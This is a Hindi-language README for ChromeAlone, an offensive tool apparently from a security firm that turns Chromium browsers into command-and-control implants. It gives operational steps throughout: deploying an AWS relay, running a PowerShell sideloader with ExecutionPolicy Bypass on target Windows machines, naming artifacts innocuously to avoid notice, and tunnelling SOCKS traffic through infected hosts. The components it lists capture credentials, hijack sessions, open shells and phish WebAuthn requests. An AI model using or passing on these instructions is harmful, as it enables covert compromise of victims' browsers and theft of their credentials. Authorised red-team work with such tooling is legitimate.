
Chromium ब्राउज़रों को C2 Implant में रूपांतरित करने के लिए एक टूल

ChromeAlone एक ब्राउज़र इम्प्लांट है जिसका उपयोग Cobalt Strike या Meterpreter जैसे पारंपरिक इम्प्लांट के स्थान पर किया जा सकता है। यह रेपो एक सरल बिल्ड प्रक्रिया प्रदान करता है जो एक मैनेजमेंट कंसोल उत्पन्न करेगा, इन्फ्रास्ट्रक्चर तैनात करेगा, और लक्ष्यों पर चलाने के लिए एक powershell sideloader स्क्रिप्ट बनाएगा।
स्थापना के बाद, प्रत्येक ChromeAlone इम्प्लांट निम्नलिखित के लिए तंत्र प्रदान करेगा:
पहले docker कंटेनर बनाएं: docker build -t chromealone .
वर्तमान में दो समर्थित तैनाती मोड हैं। ध्यान दें कि दोनों ही स्थितियों में, आपको ChromeAlone git रिपॉजिटरी के आधार निर्देशिका से docker चलाना चाहिए।
इसके लिए आपके पास एक AWS खाता होना चाहिए जिसकी साख ~/.aws/credentials में संग्रहीत हो। सुनिश्चित करें कि आपके खाते के पास Route53 अनुमतियों के साथ-साथ पूर्ण EC2 लेखन अनुमतियाँ हैं। इसके अतिरिक्त यह माना जाता है कि आपका Route53 पंजीकृत डोमेन वाले कम से कम 1 होस्टिंग ज़ोन के साथ कॉन्फ़िगर किया गया है। यदि ये शर्तें पूरी होती हैं, तो आप यह कमांड चला सकते हैं।
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
domain मान आपके Route53 सेटअप के नियंत्रण वाले डोमेन से मेल खाना चाहिए। appname आपकी इच्छानुसार कोई भी मान हो सकता है, और तैनाती के समय डिस्क पर कई रजिस्ट्री कुंजियों और फ़ोल्डरों के नामकरण के लिए उपयोग किया जाएगा। UpdateService जैसे काफी हानिरहित नाम या उतने ही अहानिकर किसी अन्य नाम का उपयोग करने की अनुशंसा की जाती है। ध्यान दें कि region वैकल्पिक है, और यदि निर्दिष्ट नहीं किया गया है तो डिफ़ॉल्ट रूप से us-east-2 होगा।
यह BATTLEPLAN रिले सर्वर को AWS पर तैनात करेगा और निम्नलिखित आर्टिफैक्ट उत्पन्न करेगा:
output/client - आपके ChromeAlone इंस्टॉल को प्रबंधित करने के लिए कंट्रोल वेबऐप।
output/sideloader.ps1 - लक्ष्यों पर चलाने के लिए स्थापना स्क्रिप्ट ताकि उनके स्थानीय ब्राउज़र इंस्टेंस को संक्रमित किया जा सके। नोट: केवल Isolated Web App लोड करने के लिए एक iwa-sideloader.ps1 फ़ाइल भी होगी, और
केवल ब्राउज़र एक्सटेंशन लोड करने के लिए extension-sideloader.ps1 फ़ाइल भी होगी।
output/extension - उत्पन्न दुर्भावनापूर्ण ब्राउज़र एक्सटेंशन।
output/iwa - उत्पन्न दुर्भावनापूर्ण Isolated Web App हस्ताक्षरित वेबऐप बंडल फ़ाइल।
output/relay-deployment - आपकी AWS तैनाती से Terraform आर्टिफैक्ट, जिसमें होस्ट तक सीधे पहुँचने के लिए एक SSH कुंजी शामिल है।
यदि आपने पहले ही एक इंस्टेंस तैनात कर दिया है, तो output/relay-deployment/terraform.tfvars में नई sideloader स्क्रिप्ट + दुर्भावनापूर्ण एक्सटेंशन उत्पन्न करने के लिए आवश्यक सभी जानकारी होगी। आप ChromeAlone docker फ़ाइल को tfvars फ़ाइल की ओर इंगित कर सकते हैं और यह कनेक्शन संभालने के लिए उपयुक्त मेटाडेटा बनाए रखते हुए तैनाती चरण को छोड़ देगा।
बिल्ड स्क्रिप्ट चलाएं docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService और यह आपकी तैनाती के लिए एक नया दुर्भावनापूर्ण sideloader उत्पन्न करेगा।
powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1 चलाकर sideloader.ps1 लें और इसे अपने लक्षित Windows 10 या Windows 11 मशीन पर निष्पादित करें। ध्यान दें कि यदि आप NativeMessaging होस्ट स्थापित करना चाहते हैं (शेल आउट करने के लिए आवश्यक) या chrome को पुनः आरंभ करने के लिए बाध्य करना चाहते हैं (आवश्यक है यदि आप चाहते हैं कि आपका एक्सटेंशन इस स्क्रिप्ट को चलाने के तुरंत बाद चले, बजाय उपयोगकर्ता द्वारा अगली बार Chrome खोलने की प्रतीक्षा करने के) तो आप अतिरिक्त फ्लैग के साथ चला सकते हैं। इन दोनों फ्लैग के साथ एक उदाहरण इनवोकेशन है powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true। यदि आप चाहते हैं कि ये फ्लैग स्वचालित रूप से उपयोग हों तो आप स्क्रिप्ट के शीर्ष पर डिफ़ॉल्ट मानों को false से true में भी बदल सकते हैं।
एक पूर्ण स्क्रिप्ट निष्पादन में लगभग 20-30 सेकंड लगेंगे।
ChromeAlone लोड हो जाने के बाद, आप output/client/index.html खोलकर किसी भी कनेक्टेड होस्ट को देख सकते हैं। यह वेबऐप आपके तैनात BATTLEPLAN रिले इंस्टेंस से वापस कनेक्ट करने के लिए पहले से कॉन्फ़िगर किया जाएगा। ध्यान दें कि डिफ़ॉल्ट रूप से, रिले फ़ायरवॉल किया गया है और केवल उस IP से पोर्ट 1080-1181 पर आने वाले कंट्रोल एक्सेस की अनुमति देता है जिसने सर्वर तैनात किया था। यदि आप इसे संशोधित करना चाहते हैं, तो आपको किसी भी अतिरिक्त मशीन को शामिल करने के लिए EC2 इंस्टेंस की नेटवर्क सेटिंग्स को अपडेट करना होगा।
अधिकांश कमांड WebUI से चलाए जा सकते हैं, जिनमें शामिल हैं:
Quick Commands अनुभाग के माध्यम से, जिसके लिए Execute Command अनुभाग में एक लक्षित एजेंट का चयन करना आवश्यक है)Captured Data टैब के माध्यम से दिखाई देंगे)Execute Command अनुभाग के माध्यम से)File Browser टैब के माध्यम से)Interactive Shell टैब के माध्यम से)इसका प्राथमिक अपवाद SOCKS प्रॉक्सीिंग है। प्रत्येक संक्रमित होस्ट को सर्वर के लिए एक अद्वितीय SOCKS पोर्ट सौंपा गया है जिसे Agent Information अनुभाग के अंतर्गत देखा जा सकता है, जहाँ प्रत्येक एजेंट के पास एक Port फ़ील्ड होता है। सौंपा गया पोर्ट, output/client/config.js में संग्रहीत admin क्रेडेंशियल्स के साथ संयुक्त होने पर, होस्ट-विशिष्ट SOCKS प्रॉक्सी कॉन्फ़िगर करने के लिए उपयोग किया जा सकता है।
उदाहरण के लिए, मान लें कि हमारे पास एक एजेंट है जहाँ पोर्ट 1081 है, हमारा डोमेन chrome.alone है, हमारा उपयोगकर्ता नाम admin है (हमेशा ऐसा ही होता है), और हमारा पासवर्ड thisisnotarealpassword है। यहाँ कुछ उदाहरण उपयोग दिए गए हैं:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
ChromeAlone रिपॉजिटरी को घटकों में विभाजित किया गया है, जिनमें से कई को मूल्यांकन के भाग के रूप में व्यक्तिगत रूप से उपयोग किया जा सकता है - लेकिन साथ में वे संपूर्ण Chromium ब्राउज़र इम्प्लांट टूलचेन का प्रतिनिधित्व करते हैं।
BATTLEPLAN - यह टूलचेन का मैनेजमेंट सर्वर घटक है। इसमें AWS वातावरण में तैनाती के लिए terraform स्क्रिप्ट के साथ-साथ तैनाती के बाद सर्वर के साथ इंटरैक्ट करने के लिए एक HTML क्लाइंट शामिल है।BLOWTORCH - यह एक दुर्भावनापूर्ण Isolated Web Application है जो अन्य chrome घटकों के बीच संचार सक्षम करने के लिए SOCKS TCP प्रॉक्सी और websocket सर्वर लागू करने हेतु Direct Socket अनुमतियों का उपयोग करता है। यह BATTLEPLAN रिले सर्वर तक वापस मैसेजिंग ब्रिज के रूप में भी कार्य करता है।DOORKNOB - यह Isolated Web Apps और Chrome Extensions के लिए powershell sideloader उत्पन्न करने हेतु उपयोग की जाने वाली स्क्रिप्ट की एक श्रृंखला है। build.sh में स्क्रिप्ट इस बात का उदाहरण प्रदान करती है कि कैसे एक एकल Powershell इंस्टॉलर स्क्रिप्ट बनाई जाए जो इन दोनों व्यक्तिगत sideloader को एक में जोड़ती है।HOTWHEELS - यह एक दुर्भावनापूर्ण Chrome एक्सटेंशन है जो अपनी सभी क्षमताओं को Web Assembly में लागू करता है। यह क्रेडेंशियल कैप्चर, सत्र अपहरण, शेल आउट करने और फ़ाइल सिस्टम पढ़ने के लिए ChromeAlone की अधिकांश फीचर सेट प्रदान करता है।PAINTBUCKET - कंटेंट स्क्रिप्ट की एक श्रृंखला जो सामान्य WebAuthn अनुरोध किए जाने पर निष्क्रिय टैब में iFrames के भीतर अतिरिक्त WebAuthn अनुरोधों को छिपाकर WebAuthn अनुरोधों के लिए फ़िशिंग सक्षम करती है।यह टूल Praetorian Security के Mike Weber द्वारा लिखा गया है।
यह कार्य उन कई शोधकर्ता टूल्स और ब्लॉग पोस्ट्स के कंधों पर खड़ा है जिन्होंने इस क्षेत्र में योगदान दिया है। उनके कार्य के बिना, यह प्रोजेक्ट अस्तित्व में नहीं होता। यदि आप इस प्रोजेक्ट द्वारा उपयोग किए जाने वाले आंतरिक विवरणों में गहराई से जाना चाहते हैं, तो मैं निम्नलिखित संसाधनों को पढ़ने का सुझाव देता हूँ:
ChromeAlone, Apache License, Version 2.0 के अंतर्गत लाइसेंस प्राप्त है।
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.